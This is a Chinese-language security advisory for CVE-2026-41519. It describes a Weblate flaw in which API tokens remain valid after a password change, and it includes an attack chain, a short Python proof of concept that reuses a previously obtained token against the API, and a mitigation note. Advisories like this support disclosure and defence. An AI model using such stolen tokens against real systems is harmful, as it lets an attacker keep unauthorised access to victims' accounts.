IPBUF安全漏洞报告
English
CVE-2026-41519 CVSS 4.2 中危

CVE-2026-41519 Weblate API令牌未撤销漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41519
漏洞类型
认证绕过
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

认证绕过Weblate逻辑漏洞API安全CVE-2026-41519

漏洞概述

Weblate是一款基于Web的本地化工具。在5.17.1版本之前,存在会话管理缺陷。当用户更改密码时,虽然浏览器会话通过cycle_session_keys()失效,但存储在authtoken_token表中的DRF API令牌(前缀“wlu_*”)未被撤销。这意味着用户修改密码后,旧的API令牌依然有效,攻击者可利用其维持未授权访问。该问题已在5.17.1版本修复。

技术细节

该漏洞的核心在于Weblate的密码重置逻辑存在不完整性。在标准的身份验证安全模型中,修改密码应被视为账户安全状态的重大变更,必须使所有现有的认证凭证失效。然而,受影响的Weblate版本仅处理了基于Cookie的Web会话,通过调用cycle_session_keys()重置了会话ID,却完全忽略了Django REST Framework (DRF) 使用的API令牌。这些API令牌存储在数据库的authtoken_token表中,用于无状态的API请求认证。由于未在密码变更事件中添加令牌撤销逻辑,攻击者如果在此之前通过某种方式(如XSS攻击、日志泄露或之前的入侵)获取了受害者的API令牌,即便受害者为了保护账户而修改了密码,攻击者持有的令牌依然有效。利用该漏洞,攻击者可以继续通过API端点以受害者身份执行操作,如读取翻译数据、修改配置或提交更改,从而绕过了密码修改带来的保护机制。

攻击链分析

STEP 1
信息收集
攻击者确定目标使用的是Weblate 5.17.1之前的版本,并通过某种渠道(如XSS、日志泄露)获取了受害者的API Token。
STEP 2
触发变更
受害者察觉到账户异常或常规操作,在Web界面修改了账户密码。此时系统仅使Cookie会话失效。
STEP 3
利用漏洞
攻击者使用之前获取的API Token向API端点发送请求。
STEP 4
维持权限
由于系统未撤销API Token,请求验证通过,攻击者成功维持了对账户的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_API = "https://example.com/api/" OLD_TOKEN = "wlu_xxxxxxxxxxxxx" # The token obtained before password change headers = { "Authorization": f"Token {OLD_TOKEN}" } # Step 1: Verify access with old token before password change print("[+] Checking access with old token before password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[+] Access granted. Old token is valid.") else: print("[-] Access denied. Check token or network.") exit(1) # Step 2: Simulate the user changing their password via Web Interface # (This step is performed by the user in the browser, invalidating the session) print("[+] User changes password via Web Interface (Session keys cycled)...") # Step 3: Attacker attempts to use the old API token again print("[+] Attempting to use old API token after password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Old API token is still valid!") print(f"[!] Data leaked: {response.json()}") else: print("[+] Mitigation detected: Token was revoked.")

影响范围

Weblate < 5.17.1

防御指南

临时缓解措施
在升级到修复版本之前,用户若修改密码,应同时手动在个人设置中删除并重新生成所有API令牌,以防止旧令牌被滥用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表